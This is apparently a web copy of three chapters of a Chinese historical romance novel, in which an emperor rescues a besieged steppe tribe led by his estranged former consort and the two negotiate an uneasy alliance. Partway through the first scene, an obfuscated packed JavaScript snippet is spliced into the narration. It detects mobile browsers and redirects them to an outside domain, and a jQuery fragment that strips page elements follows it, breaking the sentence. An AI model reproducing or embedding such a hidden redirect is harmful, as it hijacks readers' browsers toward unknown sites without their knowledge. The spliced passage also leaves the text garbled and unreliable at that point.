“……大王……大王确实派重兵去剿灭云泽部了,就在……就在鹰回涧深处的鹰喙崖!打得很惨……听说那个乌其乐带着残部逃上去了……还有……还有阿史那云珠公主,她杀了乞颜部老莫度,逃了出去,好像……好像也去了云泽部那边……” 探子断断续续地供述着。 消息火速传到宇文尚耳中! 鹰喙崖! 宇文尚的心脏瞬间提到了嗓子眼! 他立刻下令,“蒙毅!你率主力在此继续牵制铎冽!赵崇!点三千轻骑,随朕走!立刻驰援鹰喙崖!” 他顾不上解释更多,一马当先,率领着三千精锐轻骑,如同离弦之箭,脱离主战场,朝着鹰喙崖的方向全速狂奔! 马蹄声踏碎了草原的寂静,也踏在宇文尚焦灼的心上。 良儿,等我! 鹰喙崖上,寒风如刀。 饥饿和伤痛折磨着每一个云泽部族人。 仅存的一点草药优先给了重伤员,褚昭的低烧却因缺药和寒冷而持续不退,小脸烧得通红,昏昏沉沉地躺在褚良怀里。 云珠在陈锋的救治下已经恢复神志,但依旧虚弱。 绝望的气氛如同冰冷的雾气,笼罩着整个崖顶。 就在褚良和陈锋为如何熬过这个寒夜、如何找到一线生机而一筹莫展之际,山下突然传来了震天的喊杀声和狄戎人惊恐的呼号! 褚良猛地冲到崖边向下望去! 只见夜色中,一支如同黑色洪流般的北朝铁骑,正以摧枯拉朽之势冲击着围困鹰喙崖的狄戎军队! 那描金玄甲,那冲在最前方、如同战神般挥舞着龙渊剑的玄色身影……是宇文尚! 他竟然亲自带兵来了?! 褚良的心猛地一震,一种极其复杂的情绪瞬间攫住了他。 恨意、屈辱、惊愕……还有一丝连他自己都不愿承认的如释重负。 北军的突袭迅猛无比,狄戎军队正全力攻打崖上,背后空虚,被打了个措手不及,瞬间阵脚大乱。 宇文尚的目标明确,并非全歼敌军,而是撕开包围圈! 他指挥骑兵如尖刀般反复穿插切割,将狄戎的包围圈冲得七零八落,迫使狄戎残兵不得不放弃围攻,仓惶向野狼谷方向溃逃。 战斗并未持续太久。当狄戎溃兵消失在夜色中,北朝铁骑并未追击,而是在鹰喙崖下勒住了战马。 宇文尚仰头,望向那高耸险峻、在夜色中如同巨兽獠牙般的崖顶。他看不到上面的人,却能清晰地感受到那上面投注下来的目光。 他的心跳得飞快,几乎要冲破胸膛。 良儿……是你么?你还好么? 他强压下立刻冲上去的冲动,解下腰间的佩弓,取出一支早已准备好的、尾部系着一卷细小羊皮纸的羽箭。 宇文尚深吸一口气,弯弓搭箭,用尽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16356393|183634||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 全力,将箭矢射向崖顶! 箭矢带着尖锐的破空声,划破夜幕,“笃”地一声,深深钉在了崖顶边缘一块突出的岩石上,箭尾颤动如筝。 崖顶的云泽部勇士立刻警惕地取下箭矢,呈给褚良。 褚良展开那卷羊皮纸。 他无比熟悉的、力透纸背的字迹赫然显现。 这封亲笔信比上一封更加简短,却蕴含着更加迫切、甚至带着一丝恳求的情感。 “乌其乐首领, 狄戎已退,鹰喙崖之围暂解,然强敌环伺,终非久安之地。 朕知阁下顾虑,然结盟抗狄,实为当前唯一生路,亦关乎北境万千生灵福祉。 朝廷承诺不变,且愿提供粮秣、医药,解贵部燃眉之急。 恳请阁下,明日辰时,于崖下‘风息坪’会晤。 双方各带亲卫十人,共商大计。 宇文尚再拜” 褚良捏着这张薄薄的羊皮纸,指尖冰凉。 他不禁环顾四周:族人疲惫饥饿的脸庞,伤员的痛苦呻吟,云珠惨白的脸色,还有怀中褚昭滚烫的额头和痛苦的梦呓……每一个景象都像重锤敲在他心上。 陈锋走到他身边,声音沉重, “阿良……看看孩子们,看看受伤的族人……我们没有粮食,没有药,昭昭还在发烧。再这样下去……撑不了多久了。宇文尚,他至少带来了粮食和药。为了族人,为了昭昭……见一面吧。是合作,不是屈服。谈条件,为云泽部争一条活路!” 褚良的目光久久停留在褚昭痛苦的小脸上。 孩子无意识的呻吟像针一样扎着他的心。 他抬头,望向山下那片在夜色中隐约可见的、相对平坦开阔的“风息坪”,又低头看了看手中宇文尚的信。 许久,他缓缓闭上了眼睛,再睁开时,眼中只剩下冰冷的决断和一种为生存而妥协的沉重。 他没有说话,转身走向自己的帐篷。 片刻后,他走了出来,手中拿着长弓,以及一支同样刻着飘逸云纹的特制羽箭——飞星箭。 在陈锋和所有族人紧张的注视下,褚良走到崖边,面向山下北军驻扎的方向。 他深吸一口气,张弓如满月!弓弦发出令人心悸的嗡鸣! “嗖——!” 飞星箭如同一道撕裂夜空的银色流星,带着尖锐到刺耳的厉啸,划破冷冽的空气,以惊人的速度和精准度,直射向山下! 目标,正是宇文尚头顶那顶象征着帝王威严的九龙金冠! 宇文尚在箭矢离弦的瞬间就察觉到了那熟悉的、凌厉到极致的破空声! 他瞳孔骤缩,却没有闪避! “陛下!” 身边的赵崇等将领吓得魂飞魄散,惊呼出声! 电光火石之间! “铮——!” 一声清脆的金铁交鸣! 那支飞星箭精准无比地擦着宇文尚的鬓角,狠狠射中了他金冠正前方那颗最大的东珠! 东珠应声碎裂!箭矢巨大的力道甚至将沉重的金冠带得一歪! 宇文尚只觉得头顶一凉,金冠歪斜,几缕灰紫色的发丝散落下来。 然而,他毫发无伤! 箭矢在击碎东珠后,去势已竭,“啪嗒”一声掉落在宇文尚马前的草地上。 箭杆上,赫然绑着一卷小小的羊皮纸! 整个北军阵营一片死寂,所有人都被这惊世骇俗、胆大包天的一箭惊呆了! 宇文尚却猛地勒住躁动的“乌云踏雪”,俯身一把抄起地上的箭矢! 他的心脏在胸腔里狂跳,几乎要炸开!他认得这箭!这云纹!这力道!这精准! 除了他的良儿,还有谁能射出这样的一箭?! 他颤抖着手,几乎是粗暴地扯下箭杆上的羊皮纸卷,迅速展开。 上面只有一行刚劲有力的字: “明日辰时,风息坪。” 没有署名,但那经自己调教出的笔锋,如同最炽热的火焰,瞬间点燃了宇文尚眉宇间所有的阴霾! 他紧紧攥着那卷羊皮纸,仿佛攥着失而复得的稀世珍宝,高大的身躯竟因这巨大的激动和狂喜而微微颤抖起来。 是他!真的是他!他还活着!他……答应了!他的良儿! 巨大的喜悦如同海啸般冲垮了宇文尚所有的理智堤防,让这位素来喜怒不形于色的帝王,在这一刻,竟激动得难以自持。 27. 第 27 章 鹰喙崖顶的寒风,在医药和食物的暖意抵达后,似乎也变得不那么刺骨了。 北朝士兵沉默地将成捆的干粮、御寒的毛毡,以及珍贵的药包堆放在营地边缘,随即迅速退去,没有一句多余的言语,只有对首领“乌其乐”方向恭敬的行礼。 这份毫无附加条件的援助,在云泽部幸存族人的心中掀起了一阵波澜。 老人们抚摸着厚实的毛毡,眼中噙着浑浊的泪水,伤员的呻吟在敷上药膏后渐渐平息,孩子们捧着热腾腾的肉饼,小脸上终于有了劫后余生的光彩。 窃窃私语声在族人中蔓延开来, “朝廷……真的送来了……” “那皇帝亲自带兵来救咱们,还送来这些……” “首领,北朝皇帝说话算话,咱们……咱们是不是可以不用再躲了?” “是啊,首领,黑石堡……听说那里很安全,有城墙,有吃的……” 族人们投向褚良的目光充满了热切的期盼和无声的恳求。这期盼像无形的巨石,沉沉压在褚良的心头。 他站在崖边,背对着族人的目光,眺望着山下北军连绵的营火。食物和药物的气味萦绕在鼻端,本该让人感觉到温暖和希望,却只让他心底的寒意更甚。 他太了解宇文尚了。冷酷、多疑、掌控欲极强。此刻的慷慨,不过是帝王权衡利弊后的精准投资。云泽部提供了关键情报,又在断魂峡救了他一命,证明了自己的价值。宇文尚需要他们继续作为北境的一枚棋子,一枚能刺探狄戎、安抚草原的棋子。一旦价值耗尽,或者稍有忤逆…… 思及此,褚良蹙紧了眉头。他仿佛又看到了死牢冰冷的石壁,还有……宇文尚不堪的折辱。 信任?那是他们之间早已被烧成灰烬的东西。 他唯一所求的,是族人能熬过这个严冬,然后……远走高飞,彻底远离宇文尚的视线!至于合作?不过是权宜之计下的虚与委蛇。 “锋哥。” 褚良的声音低沉而凝重,“明日我带十人去风息坪。你留下,看好营地,尤其……” 他顿了顿,目光投向不远处被族人抱在怀里、裹得严严实实只露出半张小脸的褚昭,孩子因为用了药,烧退了些,正沉沉睡去。 “……尤其看好昭昭。他的头发,绝不能让任何人看见!更不能让宇文尚和他的人知道昭昭的存在!如果有人问起,就说……他是你远方亲戚的孩子,父母都死在狄戎手里了。” 陈锋看着褚良眼中深深的戒备和隐约的痛苦,心口像被堵住一般。他用力点头,将褚昭抱入自己怀中,“放心,阿良。有我在,昭昭一根头发丝都不会让他看见。你自己……千万小心。” 他顿了顿,声音更低,说道,“他……毕竟是皇帝。” 褚良扯了扯嘴角,露出一丝毫无温度的笑意,“我知道。所以我只谈交易。” 翌日辰时,风息坪。 这片位于鹰喙崖下、相对开阔的谷地,确实风停云静,是个神奇的所在。此刻它正被北朝士兵肃立守卫着。场地中央,一座宽敞厚实的牛皮大帐已然搭起,帐帘低垂,隔绝了外界的风声,草声。 大帐门口侍立着几名甲胄鲜明、神情肃穆的御前侍卫。 帐内,炭火烧得正旺,驱散了深秋的寒意。宇文尚端坐主位,一身玄黑常服,衬得他面如冠玉,只是眉宇间积压的疲惫和眼角细密的纹路,无声地诉说着八年光阴与帝业的重担。 他比当年更加深沉内敛,那份摄人的威仪已融入骨血,无需刻意彰显,便让人敬畏的不敢直视。 然而此刻,这份帝王的沉稳却被巨大的焦灼和期待所取代。他的手指无意识地摩挲着腰间悬挂的那支刻有云纹的断箭,目光死死盯着紧闭的帐门。 “陛下,”兵部尚书赵崇低声劝道, “那乌其乐首领箭术通神,性情难测。射冠之举,虽未伤人,却已显狂悖。为陛下安危计,还是由臣等先迎他入帐,陛下再……” “不必多言。”宇文尚的声音略微沙哑,打断道。 他的目光未曾离开帐门分毫,“朕就在这里等他。” 他需要第一时间看到那双眼睛,确认那个身影。每一秒的等待与他而言,都像在油锅里煎熬。 就在这时,帐外传来清晰的通传声,“云泽部首领,乌其乐到!” 帐内瞬间落针可闻。 宇文尚几乎是瞬间从座椅上弹了起来!动作之大,带倒了身后的椅子,发出“哐当”一声闷响。他完全无视了将领们惊愕的目光,三步并作两步冲到帐门口,自己伸手,猛地掀开了厚厚的皮帘! 刺目的天光涌入,勾勒出一个挺拔如松的身影。 那人逆光而立,身量颀长,穿着草原部族游牧民族常见的、便于行动的皮袍,却掩不住那份历经风霜磨砺出的力量感。 八年的草原生涯,褪去了记忆中的青涩与温顺,雕琢出一张轮廓深刻、俊朗沉静的面容。 他的肤色是草原风沙与阳光共同染就的小麦色,双眉如墨,斜飞入鬓,鼻梁挺直,唇线紧抿,下颌的线条透着顽强和坚毅。 最令人心颤的是那双眼睛——深邃、沉静,如同鹰隼俯瞰大地,锐利得仿佛能洞穿人心,却又冰封着万年不化的寒意,看不到丝毫波澜。 他站在那里,像一柄收入古朴刀鞘的绝世名刃,周身散发着作为部落首领的沉凝气度与拒人千里的疏离。 时间仿佛在这一刻凝固。 宇文尚的紫眸骤然收缩,巨大的冲击让他脑中一片空白,心脏像是被一只无形的手狠狠攥住,又骤然松开,狂跳得几乎要破膛而出!是他!真的是他!那眉眼,那轮廓,那刻入骨髓的身形……纵使风霜侵染,纵使气质大变,但那灵魂深处的烙印,宇文尚绝不会认错! 所有的理智、帝王的矜持、事先的告诫,在这一刻土崩瓦解。一个名字带着失而复得的巨大狂喜和深入骨髓的思念,不受控制地冲口而出, “良儿——!” 这一声呼唤,饱含了太多复杂难言的情感,嘶哑而颤抖,在寂静的帐前显得格外突兀。 褚良的目光,如同冰冷的刀锋,精准地落在宇文尚脸上。他看到了宇文尚眼中那瞬间爆发的、几乎要将他吞噬的狂喜、激动,甚至……水光?看到了那张依旧俊美无俦却明显染上岁月风霜和深沉疲惫的脸,看到了他鬓角间刺眼的灰白。 恨意在胸腔里翻腾,几乎要冲破喉咙。 八年!这八年他是怎么熬过来的?拜谁所赐?! 褚良的嘴角勾起一个极其冰冷、充满嘲讽的弧度,声音不高,却清晰、平稳,带着刺骨的寒意,如同冰锥狠狠扎向宇文尚, “宇文皇帝。” 他刻意加重了“皇帝”二字,字字如刀,“在下云泽部首领,乌其乐。‘良儿’?呵,陛下莫不是国事繁忙,神思恍惚,认错了人?” 他的目光扫过宇文尚身后那些面露惊疑的北朝将领,语气更加冰冷,“在下虽出身草莽,却也知礼数。陛下如此称呼,未免太过无礼,折辱于人了。” 每一个字,都像淬了毒的鞭子,狠狠抽在宇文尚心上。那冰冷的眼神,那刻意的否认,那毫不掩饰的讥讽和疏离,瞬间将宇文尚从狂喜的云端打入冰冷的深渊。 他脸上的血色瞬间褪尽,嘴唇微张,喉结滚动了几下,却一个字也发不出来。巨大的失落和恐慌如同冰冷的潮水将他淹没。他害怕,害怕褚良眼中那彻骨的恨意,害怕他再次转身离去,消失在茫茫草原,让他永世不得相见! “……是……是朕失言了。”宇文尚的声音艰涩无比,带着明显的颤抖。他强迫自己收敛起所有的情绪,踉跄地后退一步,让开道路,做了一个“请”的手势,姿态甚至带上了一丝卑微, “乌其乐首领……请入帐详谈。” 他努力想维持帝王的威仪,但那瞬间黯淡下去的眼神和微微发颤的手,却泄露了他内心的惊涛骇浪。 帐内气氛凝重得几乎能滴出水来。 褚良带着十名云泽部勇士落座。他坐得笔直,目光平视前方,仿佛对面坐着的只是一个需要谈判的陌生君主,而非那个与他有过刻骨纠缠、毁了他前半生的男人。 宇文尚坐回主位,深吸了好几口气,才勉强压下心中翻江倒海的情绪。他看着褚良冷硬的侧脸,心中痛楚难当,却不得不强迫自己进入“皇帝”的角色。 “断魂峡救命之恩,朕……铭记于心。乌其乐首领箭术通神,救朕于危难,此恩,朕必重报。” 宇文尚开口,声音低沉,努力让语气听起来诚恳而郑重。 褚良的反应平淡得近乎冷漠,仿佛在听一件与己无关的小事,“恰逢其会,举手之劳。若狄戎奸计得逞,必祸乱北境,我部不过是力求自保,此等顺水人情,当不得陛下‘恩情’二字。” 他将动机完全归于自身,彻底撇清了与宇文尚个人的任何关联,将宇文尚试图建立的情感联系一刀斩断。 宇文尚的心像是又被狠狠捅了一刀。他放在膝上的手悄然握紧,指甲几乎嵌进掌心。 “首领过谦了。无论动机如何,朕都欠你一条命。” 宇文尚坚持道,随即话锋一转,试图进入正题,“狄戎之患未除,铎冽凶残狡诈。云泽部久居草原,深谙狄情,更兼首领勇谋兼备。朕欲与云泽部结盟,共御强敌。朝廷承诺,册封首领为‘镇北王’,世袭罔替,统辖漠北归附各部;划鹰回涧方圆三百里为云泽部永居之地,永不驻军征税……” 他将之前信件中的条件再次清晰列出,目光灼灼地看着褚良,带着一丝不易察觉的祈求。 然而,褚良的回答却像一盆冰水兜头浇下,“陛下厚爱,乌其乐愧不敢当。云泽部人丁单薄,皆为老弱妇孺,经此大难,元气大伤,实在无力襄助朝廷大军。此番承蒙陛下援手,送来粮药,解我燃眉之急,乌其乐感激不尽。待族人稍作休整,我等自会另寻安身之地,绝不敢再烦扰陛下分毫,还请朝廷收回成命吧。” 他姿态放得虽低,话语却异常决绝,只想尽快切割。 “不行!” 宇文尚几乎是下意识地断然拒绝,声音因为急切而拔高了几分,带着帝王惯有的强硬霸道。这熟悉的、命令式的口吻瞬间刺痛了褚良敏感的神经。 褚良的眼神骤然锐利如刀,直直刺向宇文尚,唇边那抹讥讽的笑意更深,“哦?不行?陛下这是要强留我云泽部不成?难道朝廷所谓的‘结盟’,便是如此强人所难?” 他的话语如刀,毫不留情。 宇文尚被褚良眼中的冰冷和讥讽刺得心头剧震,瞬间意识到自己又犯了致命的错误!他猛地收声,脸上闪过一丝慌乱和懊悔,强行将那股焦躁压了下去。 他深吸一口气,努力放缓语气,甚至带上了一丝恳求的意味。 “乌其乐首领不要误会!是朕……失态了。”他罕见地承认了错误,目光扫向一旁肃立的赵崇和蒙毅。 赵崇立刻会意,上前一步,拱手沉声道,“乌其乐首领,陛下绝非强留之意。实乃狄戎凶顽,北境安危系于朝廷与各部同心协力。云泽部虽经磨难,然首领神勇,部众坚韧,更兼熟悉狄情地利,实乃朝廷不可或缺的臂助!朝廷诚意结盟,绝无‘以大欺小’之意!此乃互利互惠,共御外侮之举!若云泽部能助朝廷平定狄患,则草原可安,贵部永居之地才能真正无忧啊!届时,首领便是名副其实的镇北之王,庇护一方,岂不胜过颠沛流离?” 蒙毅也瓮声瓮气地帮腔,语气诚恳,“是啊,首领!黑石堡城墙坚固,粮草充足。贵部族人伤病交加,急需休养。你部族人入堡暂避风寒,有医官诊治,岂不胜过在这荒山野岭苦熬?朝廷承诺的条件,陛下金口玉言,绝不更改!末将蒙毅,愿以项上人头担保朝廷诚意!” 他甚至还拍了拍自己粗壮的脖子。 帐内其他几位北朝将领也纷纷附和,言辞恳切,分析利害。 跟随褚良前来的十名云泽部勇士,听着北朝重臣们诚恳的分析和诱人的承诺,看着帐外肃立但并无恶意的士兵,再想到崖顶的族人们,眼神都变得热切起来。他们互相交换着眼色,最终,一位年长的族人代表忍不住低声对褚良道, “首领……朝廷说得在理啊。黑石堡总比鹰喙崖强,娃娃们都快撑不住了……为了部族……要不先答应下来?” 族人们低声的劝说,像最后一根稻草,压在了褚良紧绷的心弦上。他闭上眼,仿佛能看到褚昭烧红的小脸,看到族人疲惫绝望的眼神。他可以不在乎宇文尚,可以不在乎自己的感受,但他不能不顾这上百口族人的死活。 再睁开眼时,他眼中的挣扎已被一片冰冷的决然取代。他看向宇文尚,声音毫无起伏,如同在念一段冰冷的契约。“好。结盟,我应了。但有几条,须事先言明。” 宇文尚眼中瞬间爆发出巨大的惊喜,强忍着激动,“首领请讲!” “其一,云泽部入驻黑石堡,仅为休整、疗伤、补充给养,暂避狄戎锋芒,非臣服依附。其二,朝廷需划出独立区域供我部驻扎,未经允许,朝廷官员兵卒不得擅自闯入我部营地,干涉我部内务。其三,互市、医匠、供给等事,按盟约履行,朝廷不得借此挟制。其四,” 褚 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褚良看着那顶金冠,眼神微微波动了一下,随即又恢复了冰封般的平静。他不再看宇文尚,站起身,“既如此,乌其乐告退,回山准备迁移事宜。” 说完,带着族人,毫不留恋地转身出帐,背影决绝。 宇文尚僵坐在那里,目光追随着那个消失在帐帘后的身影,久久无法收回。巨大的喜悦被褚良那拒人千里的冰冷浇得只剩下满心苦涩。 他的良儿,就在眼前,却又远在天边。 回到崖顶,褚良将谈判结果告知陈锋,一同前往谈判的族人则七嘴八舌的在旁笑说着新鲜见闻,其中不乏对北朝皇帝的描述。 陈锋默默听着,点点头,脸上露出一抹复杂难言的苦笑。 八年啊……整整八年! 他日夜相伴,倾尽全力辅佐,像兄长又像影子般守护着褚良和褚昭,试图用时间和真心抚平褚良心头的伤痕。他以为自己多少能走进褚良冰封的心,哪怕只有一丝缝隙…… 可宇文尚,仅仅出现了月余,只用了几车粮草、一个承诺,甚至不需要多说什么,就让褚良在族人的期盼和生存的压力下,亲手推开了那扇紧闭了八年的的门。 尽管褚良表现得如此抗拒,划清了如此多的界限,但这“同意”本身,就已是巨大的让步。 陈锋心中泛起一丝难以言喻的苦涩。他知道,自己八年的朝夕相处,终究敌不过那个男人在褚良生命里刻下的、爱恨交织的深刻烙印。 那烙印太深,太痛,却也……太重要。 但他很快将这丝苦涩压了下去,眼神重新变得温和而坚定。他拍了拍褚良的肩膀,声音一如既往地沉稳可靠,“知道了,阿良。你放心,我会安排好迁移的事。昭昭……我会一直带在身边,寸步不离。绝不会让他出现在宇文尚视线里。” 他看向不远处正被云珠逗着、小脸依旧有些苍白但精神好了些的褚昭,眼神中充满了纯粹的守护之意。 褚良看着陈锋眼中的理解和毫无保留的支持,紧绷的心弦微微一松,低声道,“锋哥,辛苦你了。” 这句简单的感谢,包含了太多难以言说的情感。 是夜。 云泽残部在北朝士兵的护卫下,缓缓进入了黑石堡坚固的城门。朝廷果然信守承诺,在堡内西南角划出了一片独立的区域,用简易的木栅隔开,里面已提前搭好了不少厚实的帐篷,燃起了温暖的炭盆。 安置好惊魂未定的族人,看着他们终于能在相对安全温暖的地方躺下休息,褚良独自站在自己帐篷的阴影里,望着远处灯火通明的主帅府邸方向,眼神复杂难明。 夜色渐深,万籁俱寂。 主帅府邸的后门悄然打开一道缝隙。 宇文尚在王德全无声的陪同下,悄然步出府邸,来到了云泽部营地外围的木栅边。 他不敢靠得太近,只是远远地凝望着褚良帐篷的方向。那里还亮着微弱的烛光,一个模糊而熟悉的身影映在帐篷上。仅仅是这样远远地看着那个剪影,宇文尚就觉得胸腔里被一种巨大的、酸楚的满足感填满,几乎要溢出来。 他的良儿,就在那顶帐篷里,他还活着,真真切切地活着! 王德全看着主子近乎贪婪的目光,心中叹息,低声道,“陛下,夜深露重,龙体要紧,还是……” 宇文尚恍若未闻,只是喃喃低语,“王伴伴……朕今日,便是即刻死了……也无憾了。” 王德全一惊,“陛下!何出此言!您…” 宇文尚抬手止住了他的话,目光依旧胶着在帐篷上,声音轻得像叹息,“他活着…他就在里面…这就够了…” 就在这时,几个捧着食盒和包裹的侍卫走近了褚良的帐篷。他们将东西轻轻放在帐篷门口,便迅速退开。 借着微弱的月光,可以看到食盒里装着几样精致的、还冒着热气的点心——那是当年褚良在王府时最喜欢的小吃。 包裹里,赫然是几本褚良曾经翻看过的兵书杂记,还有……那把曾经伴随褚良立下战功、在明懿宫供奉了八年的飞星弓! 宇文尚的心提到了嗓子眼,紧张又期待地看着帐篷的方向。 帐篷内。 褚良早已察觉到外面的动静。当看到那些被放在门口的东西时,一股难以言喻的愤怒和屈辱感瞬间冲上头顶!小吃?兵书?飞星弓?宇文尚以为用这些旧物,就能唤醒什么,就能弥补什么,就能让他忘记死牢的冰冷和折磨? 这简直是赤裸裸的羞辱! 他胸中气血翻涌,猛地抓起身旁的强弓,搭上一支羽箭,甚至没有刻意瞄准,只是凭着胸中那股无处发泄的怒火,朝着宇文尚和王德全所在的大致方向,狠狠拉动了弓弦! “嗡——!” 弓弦震响! “嗖——!” 一道凌厉的黑影撕裂夜色! “笃!” 一声闷响,箭矢深深钉在宇文尚脚前不到半步的土地上!箭尾剧烈颤动,发出令人心悸的嗡鸣! 巨大的惊骇让王德全瞬间僵在原地,冷汗“唰”地浸透了后背! 紧接着,褚良帐篷里那唯一的一点微弱烛光,竟熄灭了。 整个云泽部营地,彻底陷入一片黑暗的死寂。仿佛在无声地宣告:这里不欢迎你,一丝光亮,也不会给你。 宇文尚呆呆地站在原地,望着那片吞噬了最后一丝光亮的黑暗,脚边是那支冰冷警告的箭矢。方才那句“死而无憾”的满足感瞬间被巨大的失落和寒意取代。 夜风吹过他散落的灰紫色鬓发,带来深入骨髓的冷。 咫尺之距,却如隔天涯。 28. 第 28 章 黑石堡的军机厅内,气氛肃杀。 巨大的沙盘上,象征狄戎阿史那部主力的黑色狼头旗,正盘踞在野狼谷深处,而代表其盟友和依附部落的各色小旗,则散布在谷外广袤的河谷与草甸地带,如同伺机而动的狼群。 斥候带回的最新情报显示,铎冽吃了大亏后并未远遁,反而在加紧联络其他摇摆不定的部落,似有集结更大力量、卷土重来的迹象。 宇文尚端坐主位,玄色常服衬得他眉宇间的沉郁更深了几分。 下首两侧,蒙毅、赵崇等将领肃立,目光凝重。乌其乐作为云泽部首领,被特意安排在宇文尚右手下首的位置,此刻他的目光也聚焦在沙盘上,面色沉凝。 “诸位,”宇文尚的声音打破了沉寂,带着惯有的沉稳,“铎冽贼心不死,联络各部,其势复炽。我军虽胜,然野狼谷易守难攻,强攻伤亡必重,且狄戎飘忽,恐难竟全功。当如何应对,请诸位畅所欲言。” 将领们纷纷献策,或言增兵围困,或言断其水源粮道,或言寻机野战歼敌。 宇文尚听着,目光却不由自主地飘向身侧的褚良。 自那夜帐篷外的警告之箭后,两人再无直接交流,褚良如同将自己冰封在“乌其乐”的壳里,界限划得分明。 “乌其乐首领,”宇文尚终于开口,声音刻意放得平稳,带着征询,“你久居草原,深谙狄戎习性及各部虚实。依你之见,当如何破局?” 所有人的目光瞬间聚焦到褚良身上。这位神秘首领的箭术和胆魄已在断魂峡和鹰喙崖之战中折服众人,此刻更期待他对草原局势的洞见。 褚良抬起眼帘,目光扫过沙盘,单并未看宇文尚,他声音清晰冷静,带着草原人特有的直接:“围困耗时,断粮不易。狄戎各部逐水草而居,野狼谷并非其唯一巢穴。强攻野狼谷,或正中铎冽下怀,其必依托地利消耗我军,待我疲敝,再联合其他部落反扑。” 他修长的手指指向沙盘上几处代表依附部落的小旗,继续道,“破局之要,不在强攻野狼谷,而在分化瓦解其羽翼。如‘秃鹫部’的巴图尔,其人贪婪无度,与铎冽早有嫌隙,只因畏惧其势而依附;‘灰狼部’的哈尔赤,其子曾被铎冽羞辱致死,怀恨在心,只是隐忍不发。此二部,实力不弱,位置关键,若能使其动摇……” 褚良的分析直指要害,言简意赅,将草原部落间复杂的恩怨和微妙的平衡剖析得淋漓尽致。他提出的“分化瓦解,攻心为上”的策略,比将领们提出的硬碰硬更显高明。 蒙毅、赵崇等将领眼中不由自主地流露出钦佩之色,纷纷点头。 宇文尚更是听得心潮起伏。他看着褚良专注分析时那沉静睿智的侧脸,看着他指点沙盘时那份从容自信,仿佛看到了当年在秋狄围场为他分析猎物踪迹、制定围猎方案的青年侍卫,那份熟悉的敏锐和智慧,历经八年风霜,不仅未曾磨灭,反而如同淬炼过的精钢,更加内敛而锋芒暗藏。 一股混杂着骄傲、欣赏和浓烈爱意的暖流在他胸中激荡。 他的良儿,无论身处何地,都是如此耀眼! “首领所言,鞭辟入里!”宇文尚忍不住赞道,声音里带着一丝难以掩饰的激动和激赏,“分化瓦解,釜底抽薪,确是上策!” 他目光灼灼地看向褚良,带着帝王决断的锐利和对胜利的期许,道,“既如此,此计关键在于如何策动巴图尔与哈尔赤。首领与他们可有旧?能否设法传递消息,许以重利,甚至…制造一些‘误会’,让铎冽对他们起疑?若能使其内部生乱,我军便可趁势……” 宇文尚的话语戛然而止。 因为他看到褚良的脸色,在听到“制造误会”、“使其内部生疑”时,瞬间变得冰冷无比!那双深邃的眼眸中,刚刚因分析局势而燃起的理性光芒,顷刻间被一种显见的厌恶和嘲讽所取代。 “陛下好算计!”褚良的声音陡然变得尖锐,如同冰棱相击,打断了宇文尚的话。他猛地站起身,椅子腿与地面摩擦发出刺耳的声响。他居高临下地看着宇文尚,眼神锐利如刀,带着毫不掩饰的鄙夷,“离间构陷,玩弄人心,挑起内斗,坐收渔利——这便是陛下的帝王心术么?果然驾轻就熟,炉火纯青!” 褚良的眼前仿佛又浮现出当年宫变的血雨腥风,浮现出宇文尚那冰冷审视、充满不信任的眼神,浮现出那些将他打入深渊的“莫须有”罪名!这“制造误会”、“使其生疑”的手段,何其相似!宇文尚天性多疑,玩弄权术的本能,从未改变! 那些旧事像淬毒的匕首,狠狠扎向褚良最不愿触碰的旧伤! 他以为自己可以为了部族可以暂时忍耐合作,但当宇文尚再次展现出这令他痛恨入骨的本性时,他无法再维持冷静! “乌某行事,光明磊落!此等鬼蜮伎俩,恕难从命!” 褚良丢下这句冰冷决绝的话,不再看帐内人一眼,转身大步流星地掀开帐帘,头也不回地走了出去。只留下帐内一片死寂和尴尬的冷风。 宇文尚僵在原地,脸色先是煞白,再由煞白涨成难堪的紫红。他张了张嘴,却一个字也说不出来,只觉得一股冰冷的寒意从脚底直冲头顶。 褚良那厌恶的眼神和尖锐的指责,像一把钝刀,在他心上来回切割。他知道,他又一次触碰了褚良最深的逆鳞,那源于他当年多疑铸成的大错。 好好的气氛,瞬间降至冰点。 蒙毅、赵崇等将领面面相觑,震惊于乌其乐首领的激烈反应,更惊愕于皇帝陛下那瞬间失魂落魄、仿佛被抽干了所有精气神的样子。 这位乌其乐首领,竟敢如此顶撞陛下?而陛下……竟未发雷霆之怒,反而像是……被戳中了痛处,满眼都是痛楚和懊悔? “陛下……”赵崇小心翼翼地开口,试图缓和气氛,“乌其乐首领性情刚直,或许……或许只是不通权变之道……” 宇文尚颓然地摆了摆手,无力地坐回椅子上,以手覆面,遮掩住眼中翻涌的痛苦。 过了好一会儿,他才沙哑地开口,声音疲惫不堪,“无妨……是朕……思虑不周。容后再议吧。” 将领们怀着满腹疑云和惊异,躬身退出乐军机厅。 刚走出门口不远,几位按捺不住好奇和震撼的将领便忍不住聚在一起,低声议论起来。 “我的老天爷!你们看见没?那乌其乐首领方才竟敢如此顶撞陛下!而陛下……陛下那样子……” “何止顶撞,那眼神,那语气,简直是指着鼻子骂啊!陛下竟忍了?” “这乌其乐首领到底是什么来头?陛下对他未免太过容忍迁就了,简直不合常理!” “是啊!还有他那相貌气度……你们说,他会不会……真的是……”一位将领压低声音,眼中闪烁着惊疑不定的光芒, “那位传言中……葬身火海的君后?” 此言一出,几人顿时倒吸一口凉气,目光不由自主地都投向了跟在后面、正欲悄然离开的王德全。 作为皇帝身边最亲近、侍奉时间最长的太监,也是唯一可能近距离见过君后真容的宫中人,无疑是最有可能知道真相的人! 几人交换了一下眼神,快步上前,围住了王德全。 “王公公留步!” “王公公,您老见多识广,您看……”赵崇作为兵部尚书,地位较高,斟酌着开口,声音压得极低,“这位乌其乐首领……他当真只是草原上一个部族首领?陛下对他……这态度,实在令人费解啊!您老在宫里年头最久,当年伺候过君后,您看这乌其乐……他……他像不像……?” 几双眼睛都紧紧盯着王德全,充满了探究和急切。 王德全被围在中间,只觉得后背发凉。 